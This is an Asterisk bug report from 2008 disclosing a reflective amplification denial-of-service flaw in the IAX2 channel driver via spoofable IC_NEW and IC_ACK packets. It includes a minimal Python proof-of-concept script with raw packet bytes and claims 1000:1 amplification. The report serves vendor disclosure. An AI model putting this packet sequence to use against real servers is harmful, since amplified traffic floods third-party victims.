[Home]

Summary:ASTERISK-11880: IC_NEW + IC_ACK recreates reflective amplification DoS
Reporter:Joel R. Voss (javantea)Labels:
Date Opened:2008-04-18 13:22:15Date Closed:2008-04-18 13:24:49
Priority:MajorRegression?No
Status:Closed/CompleteComponents:Channels/chan_iax2
Versions:Frequency of
Occurrence
Related
Issues:
Environment:Attachments:
Description:The original protocol flaw with IC_NEW was documented here. http://bugs.digium.com/view.php?id=10078
IC_NEW creates a new unauthenticated call with servers that allow it.
The fix that Asterisk added simply required an IC_ACK which can also be spoofed. I wanted to create a new issue since it isn't exactly the same as the old issue. I released the exploit as a framework here:
https://www.altsci.com/concepts/page.php?s=asteri&p=2
I will be speaking at Toorcon Seattle 2008 about this issue.
http://seattle.toorcon.org/2008/conference.php?id=12
I was able to cause asterisk to send 8Mbps for 30+ seconds today using this attack without causing any harm to the system. The cost to the attacker is 30kB. This is a 1000:1 amplification.

****** ADDITIONAL INFORMATION ******

Here is a minimal implementation of the attack to show how simple it is (riax2.py):
from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM

host, port = '192.168.0.3', 4569

s = socket(AF_INET, SOCK_DGRAM)
s.connect((host, port))
print 'Connected:', s.getsockname()

new_packet = '\x80\xeb\x00\x00\x00\x00\x00\x01\x00\x00\x06\x01\x08\x04\x00\x00\x02\xaa'
ack_packet = '\x80\xeb\x00\x00\x00\x00\x00\x0a\x00\x00\x06\x04'

s.send(new_packet)
a = s.recv(1024)
s.send(ack_packet)
b = s.recv(1024)
Comments: